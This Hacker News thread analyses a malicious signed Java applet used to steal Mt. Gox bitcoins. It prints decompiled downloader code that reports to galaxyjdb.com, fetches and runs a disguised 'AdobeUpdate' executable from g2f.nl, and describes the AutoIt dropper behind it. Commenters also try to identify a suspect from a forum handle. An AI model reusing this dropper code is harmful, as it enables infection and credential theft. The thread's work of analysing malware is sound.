Hacker News new | comments | show | ask | jobs | submit login

From the source of mtgox-chat.info:

  <applet name='ChatBox' width='10' height='10' code='wDbIDcgeH.class' archive='wDbIDcgeH.jar'></applet>
Yep, probably an exploit, there aren't many good reasons for a 10x10 applet. Let's download the jar. It contains a single 3.5KB payload. Let's use a Java decompiler (JD-GUI).

  import java.applet.Applet;
  import java.applet.AppletContext;
  import java.io.BufferedInputStream;
  import java.io.BufferedOutputStream;
  import java.io.FileNotFoundException;
  import java.io.FileOutputStream;
  import java.io.IOException;
  import java.net.InetAddress;
  import java.net.MalformedURLException;
  import java.net.URL;
  import java.util.logging.Level;
  import java.util.logging.Logger;

  public class wDbIDcgeH extends Applet
    static String lik = "h?t?t?p?:?/?/?w?w?w?.?g?a?l?a?x?y?j?d?b?.?c?o?m?";

    public static void logme(String paramString)
      String str1 = lik.replace("?", "");
      String str2 = "PoutineCoutu";
      try {
        String str3 = InetAddress.getLocalHost().getHostName().replace(" ", "-");
        URL localURL = new URL(str1 + "/insert.php?" + "&o=" + System.getProperty("os.name").replace(" ", "-") + "&u=" + str2 + "&ip=" + str3 + "&e=" + paramString);
      } catch (IOException localIOException) {

    public void start()
      String str1 = "no";
      String str2 = System.getenv("APPDATA");
      String str3 = System.getProperty("java.io.tmpdir");
      String str4 = "http://g2f.nl/0lczsoo";
      String str5 = str2 + "\\";
      String str6 = "AdobeUpdate-Setup1.84##e";
      String str7 = "f.R.q.w.v.k.p.g.E.q.w.v.w";
      String str8 = "CodedByOrpheu";

      String str9 = str5.concat(str6.replace("##", ".ex"));
      BufferedInputStream localBufferedInputStream = null;
      try {
        localBufferedInputStream = new BufferedInputStream(new URL(str4.replace("##", ".ex")).openStream());
      } catch (IOException localIOException1) {
        if (str1 != "yes") logme("Noa");
        str1 = "yes";
        Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException1);

      FileOutputStream localFileOutputStream = null;
      try {
        localFileOutputStream = new FileOutputStream(str9);
      } catch (FileNotFoundException localFileNotFoundException) {
        Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);

      BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
      byte[] arrayOfByte = new byte[1024];
        int i;
        for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
          localBufferedOutputStream.write(arrayOfByte, 0, i);
      catch (IOException localIOException2) {
        if (str1 != "yes") logme("Noc");
        str1 = "yes";
        Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException2);
      try {
      } catch (IOException localIOException3) {
        Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException3);
      try {
      } catch (IOException localIOException4) {
        Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException4);
      try {
      } catch (IOException localIOException5) {
        Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException5);
        getAppletContext().showDocument(new URL("0"), "_self");
      } catch (MalformedURLException localMalformedURLException) {


    public void init() {
Well, I can't decipher that, but some security expert might be able to see what's going on.

The applet itself is pretty straightforward: it downloads the real payload, called "AdobeUpdate-Setup1.84.exe", from g2f.nl/0lczsoo and then runs it. By default, applets don't have permission to access the local filesystem or start processes, but this one has a digital signature which means the user is prompted to give it elevated permissions.

Ah, that explains why it could get away with "Runtime.getRuntime().exec(str9);".

Now, the thing is, I don't think the forum user mentioned clicking anything. However, it's possible they've stolen the signature from something else, which that person has previously chosen to "Always Accept"? (I don't know if Java lets you do that)

Since I don't have an mtgox account, and I have a fair degree of confidence that the code posted can't possibly escape the Java sandbox, I decided to live dangerously and try loading the page.

Here's the warning screen that comes up when you load it: http://i.imgur.com/sXDoFLt.png Note the self-signed certificate from "North Sumatra".

Gotta say, I have no sympathy for someone who clicks through that warning screen and then complains that their credentials got stolen.

Usually these exploit kits will use useragent and the reported plugins to decide what versions of the page to send. If this is a pro job if you were running an exploitable version of java (which a majority of people tend to be) it would push an applet that used an exploit to load its stage 2. But if it decides it doesn't have an exploit for you it takes a different approach like scareware or prompt to run etc.

Ops :/ today I just clicked through that screen to run the bitcoin miner i downloaded from bitminter.com. Because I did not realize that, this is a warning from java, really confusing.

Well, you had downloaded an application and you were fairly sure of its purpose, I can't blame you there.

I'm pretty skeptical, so this isn't good enough for me.

I think this may have been possible due to the purported Java exploit mentioned in the post:

"I then discovered that the site is loaded with a java script which, based on an initial analysis by my java programmer friend, is a 0 day java exploit with a cross site injection attack, which automatically started."

It also means that we can find out who made it by looking at the signature.

Unless there is somewhere you can buy a java signature with bitcoins.

The certificate is self-signed, which narrows it down to "somebody capable of downloading a copy of the JDK".

How did that executable transfer his bitcoins?

It didn't. "AdobeUpdate-Setup1.84.exe" is the executable that did the damage.

Yes, I understand the java applet executed the next file. How did the "AdobeUpdate-Setup1.84.exe" executable do the transfer?

If it has file access permissions it can scan for wallet.dat in a few likely locations and then simply upload that file to a server, then delete the original and you're pretty sure that you'll have time enough to register a transaction with the bitcoin network.

bitcoins were not stolen from a local wallet, rather they were withdrawn from his mtgox account to the thief's address.

Ah, yes of course a mtgox balance would be at risk as well. I'd definitely check to see if my wallet had not been ripped as well.

OK thank you. So is the wallet.dat related to MtGox at all or is it just a standard bitcoin wallet file used by the standard clients?

It's a Bitcoin concept. It's where your actual bitcoins are stored.


It sends log messages to http://www.galaxyjdb.com with your OS information and the state of the app..

It appears to download an exe from http://g2f.nl/0lczsoo

Then it tries to execute the exe:

    System.getenv("APPDATA") + "\\AdobeUpdate-Setup1.84.exe";
If at any point in the process it hits an exception, it sends the code for that exception to the galaxy web address, presumably so the dev can see how the app is performing.

Now normally it wouldn't be able to execute the exe (no access to the filesystem), but it looks like the applet requests elevated permissions from the user to allow it to access/run files.

Ooh, galaxyjdb has a register page: http://www.galaxyjdb.com/index.php?a=Register

>Paypal E-Mail:

>Hackforums Profile Link:

That means this is a service for script kiddies, they've sold this exploit as a service.

EDIT: Hackforums is basically a public internet forum where people openly discuss "hacking" and sell "hacking" tools. I've seen another example, a DDOS service, with an almost empty homepage but login and register actions.

(Why someone would be stupid enough to sell their product from the same domain it reports back to is beyond me, though. Especially since they put credits on it.)

EDIT 2: BINGO! http://www.hackforums.net/showthread.php?tid=3262851&hig... (the forum thread where the product is sold!)

Galaxy JDB is sort for "Galaxy Java Drive-By", apparently.

EDIT 3: Product image here, for people without hackforums accounts: http://i5.minus.com/iq2n2GtUjGHpW.png

Oh wow. "Noob friendly". "Free hosting". "Website Cloner". Only $40 for 6 months...

What did you redact there?

Probably author removed the feature and was lazy about the design

Yeah, it's not my redaction.

AVG detects this as Luhe.Fiha.A

Here's a mnetion from 2011:


So, someone using an OS heavily targeted by malware decides not to use anti-malware software, and to have javascript and apparently java enabled in the browser, and then chooses to visit an URL advertised in a chat window - that URL is unknown to that person, does not match the URL they're on but claims a link to the URL they're on, etc etc.

It's a shame someone got robbed, and the responsibility is clearly on the criminal to not engage in criminal behaviour.

But come on; don't just give them your money.

EDIT: I just read the first answer to the MS post above. It's baffling.

> On reflection the best and easiest recourse might be to just tell AVG to "ignore" this "infection." Is this thing actually a virus? or an infection? I have seen no operational problems, nothing in chkdsk, sfc, Registry Mechanic, etc., to concern me.

Totally unrelated to MtGox but: someone has anti-malware software. That software tells them it's found an infected file. There's no evidence this is a false positive. Rather than wipe and re-install (a distressingly unpopular choice) or using anti-malware tools to clean the infection the advice is to train the software to ignore the infection.

MS is stuffed. There is nothing they can do to repair their malware reputation when the users are that stupid.

This isn't just an MS problem. Macs have the problem where users still believe their OS isn't vulnerable to malware and as such aren't careful either.

I think they are trying to call it a false positive. They happen from time to time.

I wouldn't try to convince someone else they had a false positive without positively identifying the files in question though.

The saying goes, never attribute to malice what can be explained by stupidity.

But they also say, just because you're paranoid it doesn't mean they aren't after you.

So I'd say this may very well be the authors of the malware astroturfing and trying to fool others into ignoring it

The EXE is an AutoIt3 script (they didn't even scrub the AutoIt version from the PE metadata).

You can run the AutoIt3 script through Exe2Aut (an AutoIt decompiler) and you'll find a pretty mundane remote access toolkit which inserts itself into \Run, checks to see if it's running in a variety of virtualized environments, and, if it's not, can start one of a couple different remote control payloads. It looks like it's got a rudimentary Facebook credentials theft mechanism in its first stage as well.

This is a pretty common for-sale driveby script kiddie exploit - it's depressing how effective these still are.

The exe it downloads seems to be a compiled AutoIt3 script.

Here it is cleaned up: http://pastebin.com/raw.php?i=neP9qXGM

Seems like yet another dropper, not the actual bad thing.

Apart from some basic functions like replication (including a message in facebook posts/messages, copying to accessible network drives and usbs), avoiding VMs, and setting itself to run on startup, it looks like most of the work is handed off to 2 payloads embedded in the compiled autoit file. There are also 2 other binaries mentioned (net2 and net4) but I'm not sure what the purpose is right now.

Payload 1: binary image that is in the shell() function.

Payload 2: between "\\carbons\\" and "//J_Y//" in original exe. It is encrypted with RC2, the password is in an INI which should be elsewhere in the exe - the script refers to @ScriptFullPath->"crypted"->"key" where crypted is the INI section name and key is the key name.

Both payloads are converted to DLL format in-memory, then Payload 1 is executed in the context of another window using CallWindowProcW, passing a pointer to Payload 2 to it.

Decompiled version of Payload 1 (embedded hex): http://pastebin.com/kxT9NskV

There is an area of null bytes at 0x1c...0x53. I deleted 1 byte, 0x00, from it so that the beginning 'call 0x54' lines up with an instruction. Not sure if that is correct.

If anyone gets a chance I'd appreciate a copy of the original AutoIt binary package (email in profile.)

The mention of net2 and net4 sounds like the .Net runtime could be involved - the numbers referring to the version of the runtime. Quite the coincidence if not.

Perhaps a .Net decompiler could help. Reflector used to be the only good tool around, but since it became a paid tool, other free ones have sprung up. dotPeek is one (no idea how good it is).

This is "a variant of Win32/Injector.Autoit.HG" trojan according to the ESET antivirus on my machine.

>> if (str1 != "yes")

Thats some dodgy java code right there. (You should use .equals() )

It's a shame you'be been downvoted even while being correct - I gave you one upvote at least.

Decompile is irrelevant here, the only difference is 'str1' might have been named something different in the original code.

This is java code, so "string" != "string" will usually return true always, as you are checking if the objects are equal and not whether the contents are equal. Depending on the JRE this code runs on, it would give different output. [1]

[1] http://stackoverflow.com/questions/513832/how-do-i-compare-s...

I believe String literals are guaranteed to be == in the same source file by the spec, although it's been some years since I could quote chapter and verse for that.

You are correct (albeit substituting "class" for "source file" since runtime Java has no concept of source files), although the guarantee is stronger than that. Any two identical literals will refer to the same object, since literals are interned, regardless of what classes "own" them.

Chapter and verse: JLS §3.10.5, http://docs.oracle.com/javase/specs/jls/se7/html/jls-3.html#...

Caveat: This will yield different results whether you initialize the string as

> String a = "foo";


> String a = new String("foo");

Parent wrote:

"Any two identical literals"

The second 'a' is not a literal.

The OP is still correct though - don't use == for strings, always use .equals()

The problem with using == is maintainability and silent failure. Someone may change the program to accept the string from the command line, or just about anything else. As soon as this happens, a string can come in from elsewhere and still have the value "yes" but would still pass the inequality.

This bug would be completely silent and incredibly difficult to debug, possibly only arising in strange and unusual circumstances. The only way to really avoid this is to just use .equals() always. Using == for strings in Java is plain terrible coding, and the OP is therefore correct.

A) They're literals B) It's been decompiled c) CHICKEEEEEEN

its decompiled code, so you'd have to forgive the bad style.

Look at str2, it says poutinecoutu Seems to be the username of someone in Quebec (Canada), coutu being a very common last name and poutine being the national dish. This nickname has been used quite a lot on different hacking forums: https://www.google.com/search?q=poutinecoutu&aq=f&oq...

As I had noted in another comment, this product that this person is using is advertised on hackforums. (https://news.ycombinator.com/item?id=5531500) So I've gone on hackforums, searched for poutinecoutu, and what do you know? This might be him.


So let's look at their recent posts:


>RE: Bitcoin prices collapse over $100 in a matter of hours


>RE: Buying 10+ BTC via Bank Transfer / Western Union


So this person knows what Bitcoin is and has some to sell.

Hmm, let's look much further back in their history.


>Vouch for this amazing jdb. Keep good work. He is ALWAYS disponible for his clients. He helped me alot.


FoxyJava is a Java Drive-By, similar to this GalaxyJDB the exploit used. I wonder if he has also used GalaxyJDB? I can't see any replies, but it's possible. Let's go to the galaxyjdb site and see if the person who programmed the login was dumb enough to check username and password seperately: http://galaxyjdb.com/index.php?a=Login

...sadly not, it would seem. So I can't prove they use GalaxyJDB, or that this is even the person we're after, but I think it's very likely.

You can easily check if the username is taken via the register form - it is.

Flaw: someone could potentially have tried the same thing before me and accidentally registered it.

Right. I have no clue what to do now, though.

Luckily, no one has Java enabled by default anymore.. right?

If you leave it running, you're asking for trouble.

Just appears to be an applet that downloads the actual payload . Although, I'm not a security expert and I can't see where the actual exploit is that would allow the file to be downloaded and executed.

It's a long time since I went anywhere near Java (let alone an applet) - but these lines don't look very nice:

  String str2 = System.getenv("APPDATA");
  String str5 = str2 + "\\";
  String str6 = "AdobeUpdate-Setup1.84##e";
  String str9 = str5.concat(str6.replace("##", ".ex"));     

From a quick glance it would appear it tries to execute:


Just appears to be a rudimentary attempt at obfuscating the executable path.

The question is, how come the JVM is allowing Runtime.getRuntime().exec() to be called.

According to an up thread commenter, it's digitally signed which allows a prompt to the user for elevated permissions.

An evil wee signed applet.

I think thats done to fool AV software. - AV software will probably flag up any string which equals "AdobeUpdate-Setup1.exe"

All AV software is about that dumb as far as I know. Anyone who is depending on AV software to protect things like actual money is in serious trouble.

You can't really expect it to do much more in this case, you can make the computation which results in ".exe" arbitrarily complex, and detection needs to be cheap. Ultimately the problem is that AV software is in the business of enumerating badness. You need to do whitelisting, for example of who gets to execute arbitrary code, which is the problem here.

Why this works is beyond me, but that looks like the actual call to execute it.

A signed applet can do pretty much anything an executable app can do if the user gives it permission. I built a little zip utility applet years ago that accesses the file system, ezyzip.com. Still works even though the signature is expired.

Wow, I hadn't noticed that about Java before, Just checked ezyzip.com. The sig is expired, but it only says that right at the bottom of the dialogue, and it still allows you to run it without a problem. I can imagine many people just clicking through that, as it seems almost identical to the standard Java applet warning.

Oracle really need to change that, there should be flashing red lights (alright, maybe not flashing) on that dialogue, otherwise any previously valid signature on a Java applet will be happily trusted by the majority of the internet.

Also, I noticed that in the comments on the bitcointalk site, that many people are blaming this on windows. I know the payload is an EXE, but has anyone analysed it and checked if this applies to other OS's as well? If this is (as the author claims) a Java 0-day attack it may well work on other operating systems, and for other purposes. I personally suspect this is a matter of the author accidentally granting permissions to an app that he shouldn't have, but it sounds like this "AdobeUpdate-Setup1.84.exe" could do with some analysis.

Anyone else thinking dolphenstein is an evil genius cracker who just got a load of HNers to run his exploit?

A valid certificate does not make a bad program good.

Yeah, I'd of assumed this would of not been allowed by the JVM hence the exploit somewhere.

Edit: Apparently the applet was signed, hence no exploit needed.

I reached the same conclusion ... the program downloads a file named "AdobeUpdate-Setup1.84.exe" into Java's temporary directory and then runs it with the line "Runtime.getRuntime().exec(str9);".

lol. He is using a Logger in an exploit.

Guidelines | FAQ | Support | API | Security | Lists | Bookmarklet | Legal | Apply to YC | Contact